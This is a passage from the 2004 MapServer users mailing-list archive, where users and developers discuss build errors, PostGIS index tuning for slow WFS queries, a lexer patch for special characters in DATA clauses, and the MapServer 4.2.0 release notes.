ww4Pu2ZtL41Vr0AVSUdVkJNtuAxqFJFUaJVAL4c+K1wVEgasErVXlU1eRmILoXWAVSuVRWGQ SZzHkkIZhBdRsTwUaE2wlBNTo7SjrR21KkaShCskARJCDWyMaGl4KlYRcsSOT4lPpA== ----------hhwgzipqvxauuxsidntz-- From mike.merrett at city.whitehorse.yk.ca Thu Jun 3 08:53:51 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Thu, 3 Jun 2004 08:53:51 -0700 Subject: [Mapserver-users] Compiling php_mapscript as build-in module? Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEF10@DUKE.city.whitehorse.yk.ca> you can include the php_maspscript.so in the php.ini (with the other extensions) I do it so I dont have to remember to invoke it at every page. Mike Merrett -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Homme Zwaagstra Sent: Thursday, June 03, 2004 4:45 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Compiling php_mapscript as build-in module? Hi, I'm wondering if there's any way to compile php mapscript as a built-in module rather than the current external module which needs to be loaded with the dl() function. The reason I ask is that we're looking to optimise our mapscript applications. We have a server with a dedicated mapscript php cgi binary and it would be beneficial not to have to load the php_mapscript.so at every page invocation. I've done some profiling using nusphere's PhpED and the result seems to be that the function dl('php_mapscript.so') takes on average around 0.05 seconds to load (on slower servers this is obviously longer). Not much, I know, but every little helps and in simple applications this can be as much as half the script execution time. Thoughts? Homme Zwaagstra _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dmorissette at dmsolutions.ca Thu Jun 3 08:52:35 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 03 Jun 2004 11:52:35 -0400 Subject: [Mapserver-users] mapserv.exe with max_symbols > 64 In-Reply-To: <5B025B1F39D6D4119F5700508BEEEC66F94AAB@SRSOFAIOI4546> References: <5B025B1F39D6D4119F5700508BEEEC66F94AAB@SRSOFAIOI4546> Message-ID: <40BF4943.5040807@dmsolutions.ca> D?ster Horst wrote: > I'm looking out for a mapserv.exe with a definition of max_symbols > 64 in > ideal case with max_symbols >= 256. The mapserv.exe distributed by > DMSolutions seems to work with the default max_symbols=64. I don't > understand, why they don't increase from this small value to a larger value. Simple: there is no magic number that works for everybody, and just setting the limits to an arbitrary high value is not a solution since that means more memory usage per request. This being said if you need a custom build then DM Solutions can prepare one for a fee and others on this list may be able to do it as well. FYI there is already a bug about this, we just need time to be able to work on it (or funding to make it a higher priority): http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=302 Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From pbarabe at U.Arizona.EDU Thu Jun 3 10:22:15 2004 From: pbarabe at U.Arizona.EDU (Patrick J Barabe) Date: Thu, 3 Jun 2004 10:22:15 -0700 (MST) Subject: [Mapserver-users] compile error in 4.2 Message-ID: Hello list, I'm getting a compile error when trying to 'make' version 4.2. Configure works fine with these options: ./configure --with-jpeg --with-gd --with-png --with-tiff --with-wms --with-wmsclient --with-ogr --with-proj --with-wfs --with-wfsclient --with-postgis --with-gdal --with-regex=system --with-php=/usr/local --enable-perlv-ld-detect --with-httpd=/usr/local/apache2/bin/httpd make begins to work but then bison gets an I/O error: % make gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include maptemplate.c -o maptemplate.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include mapbits.c -o mapbits.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include maphash.c -o maphash.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include mapshape.c -o mapshape.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include mapxbase.c -o mapxbase.o bison -y -p msyy -d -omapparser.c mapparser.y bison: I/O error make: *** [mapparser.c] Error 1 I'm using GNU Make version 3.79.1 and GNU Bison 1.875 Thanks in advance for any insight anyone can provide. Patrick Barabe The University of Arizona From stigmata at blackangel.net Thu Jun 3 10:32:55 2004 From: stigmata at blackangel.net (Gregor Mosheh) Date: Thu, 3 Jun 2004 10:32:55 -0700 (PDT) Subject: [mapserver-users] querying WMS layer / WFS reprise In-Reply-To: <40BF4453.5000703@pobox.com> References: <2576812186CDD411BF1500508B6DCE9507366EEF@ecnwri1.ontario.int.ec.gc.ca> <20040602232618.Y30397@osiris.deathkeep.com><13689.212.238.227.182.1086248730.squirrel@webmail.xs4all.nl> <20040603011801.B31218@osiris.deathkeep.com> <13536.212.238.227.182.1086257384.squirrel@webmail.xs4all.nl> <20040603031621.V32465@osiris.deathkeep.com> <40BF4453.5000703@pobox.com> Message-ID: <20040603102644.V35929@osiris.deathkeep.com> > I don't think WFS queries should be inherently slow. ... > I think you need to examine what you are doing more closely to see if: > o the resultset is very large (dump response to file and inspect size) > o the query being done by MapServer is expensive. Some WFS geometric > queries may be expensive to check. MapServer is generally not terribly > fast at attribute queries as far as I know. > o The MapServer query architecture requires that each query result be > fetched individually by id after a first pass to build a list of ids for > features that satisfy the request. This kind of read is very slow > against some datasources (ie. some OGR drivers). The queries were being done directly to the WFS server (telnet localhost 80), too, not via a MapServer WFS client. It wasn't a matter of the data taking a while to transfer: there was simply no activity for several minutes, and then the data came across. It was definitely something "inside" the WFS server, as opposed to the rendering or transit of the data. The result sets weren't very large: 20 or less multipolygons (zipcode areas). A fair chunk of data, but it's over a LAN. The same query via WMS responded in 1-2 seconds, indicating that it's the WFS stuff, as opposed to the underlying data, that's taking the time. Today's experiment is to try out GeoServer and see what its performance is like for WFS and WMS. I'll let y'all know. From gbustamante at c4sonora.gob.mx Thu Jun 3 11:27:42 2004 From: gbustamante at c4sonora.gob.mx (Guillermo Bustamante) Date: Thu, 3 Jun 2004 11:27:42 -0700 Subject: [Mapserver-users] where to get a copy of mapscript for win32 Message-ID: I m looking for a php_mapscript.dll cause doesnt seem to come with de mapserver win32 distro if someone has it please send it!!!!!! From dmorissette at dmsolutions.ca Thu Jun 3 11:29:02 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 03 Jun 2004 14:29:02 -0400 Subject: [mapserver-users] querying WMS layer / WFS reprise In-Reply-To: <20040603102644.V35929@osiris.deathkeep.com> References: <2576812186CDD411BF1500508B6DCE9507366EEF@ecnwri1.ontario.int.ec.gc.ca> <20040602232618.Y30397@osiris.deathkeep.com><13689.212.238.227.182.1086248730.squirrel@webmail.xs4all.nl> <20040603011801.B31218@osiris.deathkeep.com> <13536.212.238.227.182.1086257384.squirrel@webmail.xs4all.nl> <20040603031621.V32465@osiris.deathkeep.com> <40BF4453.5000703@pobox.com> <20040603102644.V35929@osiris.deathkeep.com> Message-ID: <40BF6DEE.2000300@dmsolutions.ca> Gregor Mosheh wrote: > > The queries were being done directly to the WFS server (telnet localhost > 80), too, not via a MapServer WFS client. It wasn't a matter of the data > taking a while to transfer: there was simply no activity for several > minutes, and then the data came across. It was definitely something > "inside" the WFS server, as opposed to the rendering or transit of the > data. > > The result sets weren't very large: 20 or less multipolygons (zipcode > areas). A fair chunk of data, but it's over a LAN. The same query via WMS > responded in 1-2 seconds, indicating that it's the WFS stuff, as opposed > to the underlying data, that's taking the time. > I think you are using PostGIS as your data layers, is that correct? MapServer's uses internal queries for GetFeature WFS requests, and a performance problem with MapServer queries on large PostGIS layers has been discussed on this list and on the chameleon lists in the last few days. It turned out that adding some indexes improved the query performance a lot. I don't know the details, hopefully others can comment or you can find them in the archives. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From spencer at dmsolutions.ca Thu Jun 3 11:52:58 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Thu, 03 Jun 2004 14:52:58 -0400 Subject: [mapserver-users] querying WMS layer / WFS reprise In-Reply-To: <40BF6DEE.2000300@dmsolutions.ca> References: <2576812186CDD411BF1500508B6DCE9507366EEF@ecnwri1.ontario.int.ec.gc.ca> <20040602232618.Y30397@osiris.deathkeep.com><13689.212.238.227.182.1086248730.squirrel@webmail.xs4all.nl> <20040603011801.B31218@osiris.deathkeep.com> <13536.212.238.227.182.1086257384.squirrel@webmail.xs4all.nl> <20040603031621.V32465@osiris.deathkeep.com> <40BF4453.5000703@pobox.com> <20040603102644.V35929@osiris.deathkeep.com> <40BF6DEE.2000300@dmsolutions.ca> Message-ID: <40BF738A.8050701@magma.ca> create btree indexes on your oid field and create GIST indexes as suggested in the postgis documentation. eg: btree index (assuming oid is the object id field): CREATE INDEX mytable_oid_idx ON mytable (oid); GIST index (assuming wkb_geometry is your geometry column): CREATE INDEX mytable_gist ON mytable USING GIST ( wkb_geometry GIST_GEOMETRY_OPS ); And run VACUUM ANALYZE; after any changes to indexing to optimize the query planner. Cheers, Paul Daniel Morissette wrote: > Gregor Mosheh wrote: > >> >> The queries were being done directly to the WFS server (telnet localhost >> 80), too, not via a MapServer WFS client. It wasn't a matter of the data >> taking a while to transfer: there was simply no activity for several >> minutes, and then the data came across. It was definitely something >> "inside" the WFS server, as opposed to the rendering or transit of the >> data. >> >> The result sets weren't very large: 20 or less multipolygons (zipcode >> areas). A fair chunk of data, but it's over a LAN. The same query via WMS >> responded in 1-2 seconds, indicating that it's the WFS stuff, as opposed >> to the underlying data, that's taking the time. >> > > I think you are using PostGIS as your data layers, is that correct? > > MapServer's uses internal queries for GetFeature WFS requests, and a > performance problem with MapServer queries on large PostGIS layers has > been discussed on this list and on the chameleon lists in the last few > days. > > It turned out that adding some indexes improved the query performance a > lot. I don't know the details, hopefully others can comment or you can > find them in the archives. > -- ----------------------------------------------------------------- |Paul Spencer pspencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From bcantwel at us.ibm.com Thu Jun 3 11:56:37 2004 From: bcantwel at us.ibm.com (Brad Cantwell) Date: Thu, 3 Jun 2004 13:56:37 -0500 Subject: [Mapserver-users] Autonumbering of labels? Message-ID: Is there a way to do sequential numbering for labels? We would like to have the labels for features autonumbered (i.e. 1 though N). Is there a way to do this through the .map file? We are trying to avoid MapScript if possible. From thaxter at gomoos.org Thu Jun 3 11:59:52 2004 From: thaxter at gomoos.org (Jason Thaxter) Date: Thu, 3 Jun 2004 14:59:52 -0400 Subject: [Mapserver-users] bug postgis query alias In-Reply-To: <8F4A22E017460A458DB7BBAB65CA6AE50265E1@openmanage> References: <8F4A22E017460A458DB7BBAB65CA6AE5219367@openmanage> <8F4A22E017460A458DB7BBAB65CA6AE50265E1@openmanage> Message-ID: <20040603185952.GB877@whitehead.gomoos.org> It looks to be unpatched in 4.2.0. Patch (untested, but so small!): --- mapserver-4.2.0/maplexer.l.orig Thu Jun 3 14:52:12 2004 +++ mapserver-4.2.0/maplexer.l Thu Jun 3 14:52:39 2004 @@ -391,7 +391,7 @@ [a-z/\.][a-z0-9/\._\-\=]* { return(MS_STRING); } [a-z/\.][a-z0-9/\.\-\=]* { return(MS_STRING); } -[a-z/\.][a-z0-9/\. \-\=]* { return(MS_STRING); } +[a-z/\.][a-z0-9/\. \-\=:'<>]* { return(MS_STRING); } \n { msyylineno++; } On Tue, Jun 01, 2004 at 01:37:49PM +0100, Mark Cave-Ayland wrote: > Hi Vladimir, > > I think I know what this might be. We had a similar problem caused by > the fact that the Mapserver lexer has a very limited set of characters > it will let through - the symptom being that Mapserver would truncate my > DATA clause at the offending characters (in our case it was a colon) > whenever I used a casting such as '::bigint' in the DATA string. > > The patch we are currently running against 3.6.5 is the following: > > > --- mapserver-3.6.5.vanilla/maplexer.l Wed Sep 18 16:14:17 2002 > +++ mapserver-3.6.5/maplexer.l Fri May 9 16:30:45 2003 > @@ -348,7 +348,7 @@ > > [a-z/\.][a-z0-9/\._\-\=]* { return(MS_STRING); } > [a-z/\.][a-z0-9/\.\-\=]* { > return(MS_STRING); } > -[a-z/\.][a-z0-9/\. \-\=]* { return(MS_STRING); } > +[a-z/\.][a-z0-9/\. \-\=:'<>]* { return(MS_STRING); } > > \n { msyylineno++; } > > > This allow us to use the :'<> characers in a Mapserver DATA clause. If > you also include a \+ in the second regex to allow a + in the data > string then hopefully your query will work. I don't know whether this > has already been resolved in version 4. > > I didn't submit this as a patch as I wasn't sure what effect it would > have on the other fields used by Mapserver since VALUE_STRING is not > just used for the DATA clause - one of the other developers should be > able to comment on this. > > > Hope this helps, > > Mark. > > --- > > Mark Cave-Ayland > Webbased Ltd. > Tamar Science Park > Derriford > Plymouth > PL6 8BX > England > > Tel: +44 (0)1752 764445 > Fax: +44 (0)1752 764446 > > > This email and any attachments are confidential to the intended > recipient and may also be privileged. If you are not the intended > recipient please delete it from your system and notify the sender. You > should not copy it or use it for any purpose nor disclose or distribute > its contents to any other person. > > > -----Original Message----- > > From: mapserver-users-admin at lists.gis.umn.edu > > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > > Vladimir Guzm?n > > Sent: 01 June 2004 13:04 > > To: mapserver-users at lists.gis.umn.edu > > Subject: Re: [Mapserver-users] bug postgis query alias > > > > > > Yes, the query runs fine in the pgsql monitor: > > gps=> select gid,'>' as sentido,tiempo,360-rumbo+90 as > > rumbo,velocidad,gps_geom,oid from gps_vehi where > > tiempo>='2004-05-31 05:00:00' and tiempo<='2004-06-02 04:59:59'; > > gid | sentido | tiempo | rumbo | velocidad | > > gps_geom | oid > > -------+---------+---------------------+-------+-----------+-- > -------------------------------+--------- > > 46275 | > | 2004-05-31 15:16:09 | 450 | 0 | > > SRID=1;POINT(-74.06318 4.67302) | 7731018 > > 46276 | > | 2004-05-31 15:16:15 | 450 | 0 | > > SRID=1;POINT(-74.06318 4.67302) | 7731019 > > 46277 | > | 2004-05-31 15:16:21 | 450 | 0 | > > SRID=1;POINT(-74.06319 4.67301) | 7731020 > > ... > > ... > > > > The error is just: > > > > *Warning*: MapServer Error in msDrawMap(): Failed to draw > > layer named > > 'puntosgps'. > > in */usr/local/apache/htdocs/gps/index.phtml* on line *33* > > > > > > Vladimir Ilich Guzm?n R. > > ------------------------ > > http://maintask.com > > > > > > > > strk wrote: > > > > >On Mon, May 31, 2004 at 03:29:45PM -0500, Vladimir Guzm?n wrote: > > > > > > > > >>Hello. > > >>I'm implementing a gps tracking system. > > >>I want to show the car's orientation like this: > > >>http://maintask.com/test.png The layer's data is something > > like this: > > >>----------------------------- > > >>gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as > > >>rumbo,velocidad,gps_geom,oid from gps_vehi where > > tiempo>='2004-05-29 > > >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using > > unique gid > > >>using srid=1 > > >>----------------------------- > > >>The field 'sentido' contains '>'. > > >> > > >>The problem is that if I use something like this: > > >>----------------------------- > > >>gps_geom from (select gid,'>' as sentido,tiempo,360-rumbo+90 as > > >>rumbo,velocidad,gps_geom,oid from gps_vehi where > > tiempo>='2004-05-29 > > >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using > > unique gid > > >>using srid=1 > > >>----------------------------- > > >>The query doesn't work. > > >> > > >>So I had to create a column in potgres called 'sentido' and all the > > >>rows > > >>containing '>'. > > >> > > >>Is this a bug? > > >> > > >> > > > > > >What's the error message ? > > >Can you run the query from the pgsql monitor ? > > >--strk; > > > > > > > > > > > >>The rest of the layer: > > >> > > >>LAYER > > >> NAME "puntosgps" > > >> CONNECTIONTYPE postgis > > >> CONNECTION "user=gps password=gps dbname=gps host=localhost" DATA > > >>"gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as > > >>rumbo,velocidad,gps_geom,oid from gps_vehi where > > tiempo>='2004-05-29 > > >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using > > unique gid > > >>using srid=1" TYPE POINT > > >>PROJECTION > > >> "proj=latlong" > > >> "datum=WGS84" > > >>END > > >> LABELANGLEITEM 'rumbo' > > >> LABELITEM 'sentido' > > >> CLASS > > >> NAME 'Parado' > > >> EXPRESSION ([velocidad] = 0) > > >> SIZE 14 > > >> SYMBOL 'circle' > > >> COLOR 0 0 215 > > >> OUTLINECOLOR 204 204 204 > > >> END > > >> CLASS > > >> NAME '0-10' > > >> EXPRESSION ([velocidad] > 0 AND[velocidad] <= 10) > > >> SIZE 14 > > >> SYMBOL 'circle' > > >> COLOR 255 255 204 > > >> OUTLINECOLOR 204 204 204 > > >> LABEL > > >> TYPE TRUETYPE > > >> FORCE TRUE > > >> FONT arial > > >> ANTIALIAS TRUE > > >> COLOR 0 0 0 > > >> OUTLINECOLOR 255 255 255 > > >> SIZE 8 > > >> END > > >> END > > >>... > > >>... > > >> > > >>Thanks a lot. > > >> > > >>-- > > >>Vladimir Ilich Guzm?n R. > > >>------------------------ > > >>http://maintask.com > > >> > > >> > > >>_______________________________________________ > > >>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > > >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > >> > > >> > > >_______________________________________________ > > >Mapserver-users mailing list > > >Mapserver-users at lists.gis.umn.edu > > >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ---------------------------------------------- Jason Thaxter GoMOOS, P.O. Box 4919, Portland, ME 04112-4919 Office Location: 1 Canal Plaza, 7th Floor Office: 207.773.0423 Fax: 207.773.8672 Email: thaxter at gomoos.org ------------www.gomoos.org-------------------- From eduardo at consultoria.eti.br Thu Jun 3 12:39:05 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Thu, 3 Jun 2004 16:39:05 -0300 Subject: [Mapserver-users] What is CONFIG parameter for? Message-ID: <20040603193905.22640.qmail@hm47.locaweb.com.br> I've seen in Mapserver 4.2 docs the new CONFIG parameter that was added for MAP object... what is the main goal of it? to avoid re-compilation of MapServer for diferrents applications? I saw it handles GDAL and PROJ options... what more can be done? thanks Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From stigmata at blackangel.net Thu Jun 3 12:39:11 2004 From: stigmata at blackangel.net (Gregor Mosheh) Date: Thu, 3 Jun 2004 12:39:11 -0700 (PDT) Subject: [mapserver-users] querying WMS layer / WFS reprise In-Reply-To: <40BF6DEE.2000300@dmsolutions.ca> References: <2576812186CDD411BF1500508B6DCE9507366EEF@ecnwri1.ontario.int.ec.gc.ca> <20040602232618.Y30397@osiris.deathkeep.com><13689.212.238.227.182.1086248730.squirrel@webmail.xs4all.nl> <20040603011801.B31218@osiris.deathkeep.com> <13536.212.238.227.182.1086257384.squirrel@webmail.xs4all.nl> <20040603031621.V32465@osiris.deathkeep.com> <40BF4453.5000703@pobox.com> <20040603102644.V35929@osiris.deathkeep.com> <40BF6DEE.2000300@dmsolutions.ca> Message-ID: <20040603114300.T36772@osiris.deathkeep.com> Daniel Morissette wrote: > MapServer's uses internal queries for GetFeature WFS requests, and a > performance problem with MapServer queries on large PostGIS layers has > been discussed on this list and on the chameleon lists in the last few days. > It turned out that adding some indexes improved the query performance a > lot. I don't know the details, hopefully others can comment or you can > find them in the archives. Ah, yes! oid indexes. I just noticed those were missing yesterday, and created them, *after* I did my WFS experimentation. And you know what, it makes a big difference! Thanks, Dan. You're awesome. :) From dmorissette at dmsolutions.ca Thu Jun 3 12:37:17 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 03 Jun 2004 15:37:17 -0400 Subject: [Mapserver-users] MapServer 4.2.0 released Message-ID: <40BF7DED.9000007@dmsolutions.ca> On behalf of all the developers, I am pleased to announce that MapServer 4.2.0 has been released earlier last week. I'm sorry if this announcement comes a bit late, I guess we just assumed that we didn't need a formal announcement since we talked so much about the new release on the list, but some questions that I've received recently have proven me wrong. This new release resolves several issues that were found in version 4.0, and adds a bunch of enhancements and new features. The relevant portion of the HISTORY.TXT is included below. Users of 4.0 are encouraged to upgrade to 4.2 as it is a much more stable in my opinion. The migration from 4.0 to 4.2 should be very easy: there should not be any backwards compatibility issues contrary to what some of you may have experienced when migrating from 3.6 to 4.0. This release is available for download at the usual location on the UMN website: http://mapserver.gis.umn.edu/dload.html Windows binaries including PHP MapScript are also available on maptools.org: http://maptools.org/php_mapscript/index.phtml?page=downloads.html And an update for the MS4W package (http://maptools.org/ms4w/) will also be available soon. Best Regards, Daniel ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ Version 4.2.0 (2004-05-25) -------------------------- - Postgis: added "WHERE false" to query that looks up the schema for item queries. This should greatly improve performance for complex queries. - Mapscript: fixed the shape copy test in mapscript tests. - Mapscript: replaced bad PNG file in tests with one that reads on win32. - mapresample.c: Ensure background value is properly initialized in case of rgb or rgba resampled rasters. Version 4.2-beta3 (2004-05-14) ------------------------------ - Fixed another write past end of buffer in INIMAGE WMS errors (bug 644) - Removed "xbasewohoo" debug output when using JOINs and fixed a few error messages related to MySQL joins (bug 652) - No more Python-stopping but otherwise benign errors raised from msDrawWMSLayer() (bug 650). - Finished prototyping all MapServer functions used by SWIG-Mapscript and added 'void' to prototypes of no-arg functions, eliminating all but two SWIG-Mapscript build warnings (bug 658). - Fixed mapwcs.c so that gdal.h and cpl_error.h are not included if USE_WCS_SVR is not enabled ... which is never is in 4.2. - msBuildPath() no longer used with temporary filenames when saving images via GDAL. - Bug 493: fix the raster cracking fix. The last fix introduced a serious heap corruption / errant pointer problem in some render cases. - Resolved issue with pens and dynamically drawing points (bug 663). - Removed unused metadata gml_uri in WFS code (Bug 527) Version 4.2-beta2 (2004-05-03) ------------------------------ - Map cloning fixed. However, users must now set the cloned map's fontset and symbolset explicitly (see bug 557). A new testcopy program has been added as a target for make. - Fixed problem with PHP's pasteImage() method when angle=0 - Fixed build problem in mapresample.c when compiling without GDAL. - Fixed possible crash when producing WMS errors INIMAGE (bug 644) - Fixed automated generation of onlineresource in OWS GetCapabilities when the xxx_onlineresource metadata is not specified: the map= parameter used to be omitted and is now included in the default onlineresource if it was explicitly set in QUERY_STRING (bug 643) - Fixed an issue with annotation label overlap. There was an issue with the way msRectToPolygon was computing it's bounding box. (bug 618) - Fixed "raster cracking" problem (bug 493) Version 4.2-beta1 (2004-04-17) ------------------------------ - Added support for WMS 1.1.1 in the WMS interface. - Added support for WMS-SLD in client and server mode. - Added support for attribute filters in the WFS interface. - WMS Interface: several fixes to address issues found in running tests against the OGC testsuite. One of the side-effects is that incomplete GetMap requests that used to work in previous versions will produce errors now (see bug 622). - Modified configure scripts to be able to configure/build PHP MapScript using an installed PHP instead of requiring the full source tree. - Added ability to combine multiple WMS connections to the same server into a single request when the layers are adjacent and compatible. (bug 116) - Support POSTed requests without Content-Length set. - Added support for proper classification of non-8bit rasters. - Added support for BYTE rawmode output type. - Added support for multiple bands of output in rawmode. - MySQL joins available - Fixed problems with detection of OGRRegisterAll() with GDAL 1.1.9 in configure due to GDAL's library name change. Fixed a few other minor issues with GDAL/OGR in configure. - Modified configure to disable native TIFF/PNG/JPEG/GIF support by default if GDAL is enabled. You can still enable them explicitly if you like. - Replace wms_style_%s_legendurl, wms_logourl, wms_descriptionurl, wms_dataurl and wms_metadataurl metadata by four new metadata by metadata replaced. The new metadata are called legendurl_width, legendurl_height, legendurl_format, legendurl_href, logourl_width, etc... Old dependancy to the metadata with four value in it , space separated, are not kept. - Implement DataURL, MetadataURL and DescriptionURL metadata in mapcontext.c (bug 523) - PHP MapScript's pasteImage() now takes a hex color value (e.g. 0xrrggbb) for the transparent color instead of a color index. (bug 463) - OGR data sources with relative paths are now checked relative to SHAPEPATH first, and if not found then we try again relative to the mapfile location. (bug 295) - There is a new mapObj parameter called MAXSIZE to control maximum image size to serve via the CGI and WMS interfaces. The default is 2048 as before but it can be changed in the map file now. (bug 435) - Added simple dataset for unit and regression tests (bug 453) - PostGIS: added postresql_NOTICE_HANDLER() sending output via msDebug() and only when layer->debug is set (bug 418) - Added Apache version detection in configure and added non-blocking flag on stderr in msDebug() to work around Apache 2.x bug (bug 458) - MapScript rectObj: added optional bounding value args to constructor and extended rectObj class with a toPolygon method (bug 508). - MapScript pointObj: added optional x/y args to constructor (bug 508). - MapScript colorObj: added optional RGB color value args to colorObj constructor, and extended colorObj class with setRGB, setHex, and toHex methods. The *Hex methods use hex color strings like '#ffffff' rather than '0xffffff' for compatibility with HTML (bug 509). - MapScript outputFormatObj: extended with a getOption method (bug 510). - MapScript imageObj: added optional mapObj argument to the save method resolving bug 549 without breaking current API. Also added optional driver and filename arguments to constructor which allows imageObj instances to be created with a specified driver or from files on disk (bug 530). Added new code to Python MapScript which extends the filename option to Python file-like objects (bug 550). This means StringIO and urllib's network objects! - MapScript classObj and styleObj: added a new styleObj shadow class and extended classObj with getStyle, insertStyle, and removeStyle methods. MapScript now supports multiple styles for dynamically created classes (bug 548). - MapScript layerObj: added getExtent, getNumFeatures extension methods, allowing getShape to access inline features (bug 562). - Added fixes for AMD64/Linux in configure (bug 565) - Removed OGR_STATIC stuff in configure script that used to allow us to build with OGR statically by pointing to the OGR source tree. That means you can only build with OGR when *installed* as part of GDAL, but that's what everyone is doing these days anyway. - Mapscript outputFormatObj: extended constructor to allow format names, and mapObj methods to append and remove output formats from the outputformatlist (bug 511). - New SWIG mapscript development documentation in the spirit of the PHP-Mapscript readme file, but using reST (bug 576). - Paving way for future changes to SWIG mapscript API with new features enabled by NEXT_GENERATION_API symbol (bug 586). - Added ability to set string member variables to NULL in PHP MapScript (bug 591) - New key iterators for map, layer, and class metadata hash tables (bug 434) and fontset fonts hash table (bug 439). - Fixed potential crash when using nquery with a querymap enabled and some layers have a template set at the layer level instead of inside classes (bug 569). - New CONFIG keyword in the MAP object in a .map file to be used to set external configuration parameters such as PROJ_LIB and control of some GDAL and OGR driver behaviours (bug 619) From ikezhis at gismo.com Thu Jun 3 13:23:59 2004 From: ikezhis at gismo.com (igor) Date: Thu, 03 Jun 2004 14:23:59 -0600 Subject: [Mapserver-users] msGetLabelSize(): TrueType Font error. Requested font (Arial) not found Message-ID: <40BF88DF.6DC9BC74@gismo.com> When running mapserver I get the following error "msGetLabelSize(): TrueType Font error. Requested font (Arial) not found". I did installed freefonts and compiled gd with freefont support. Thanks for any help in advance. From ikezhis at gismo.com Thu Jun 3 13:24:12 2004 From: ikezhis at gismo.com (igor) Date: Thu, 03 Jun 2004 14:24:12 -0600 Subject: [Mapserver-users] msGetLabelSize(): TrueType Font error. Requested font (Arial) not found Message-ID: <40BF88EC.8849577D@gismo.com> When running mapserver I get the following error "msGetLabelSize(): TrueType Font error. Requested font (Arial) not found". I did installed freefonts and compiled gd with freefont support. I am running suse 9.1 Thanks for any help in advance. From pbarabe at U.Arizona.EDU Thu Jun 3 14:05:15 2004 From: pbarabe at U.Arizona.EDU (Patrick J Barabe) Date: Thu, 3 Jun 2004 14:05:15 -0700 (MST) Subject: RES: [Mapserver-users] compile error in 4.2 In-Reply-To: References: Message-ID: Hi Gabriel, I tried that, unfortunately that did not solve my problem. The same error occurs. Any other suggestions? BTW - this is on Solaris 9, if that might make a difference. Thanks again, patrick On Thu, 3 Jun 2004, Gabriel Moricz wrote: > Try to pass for the postgis, gdal and 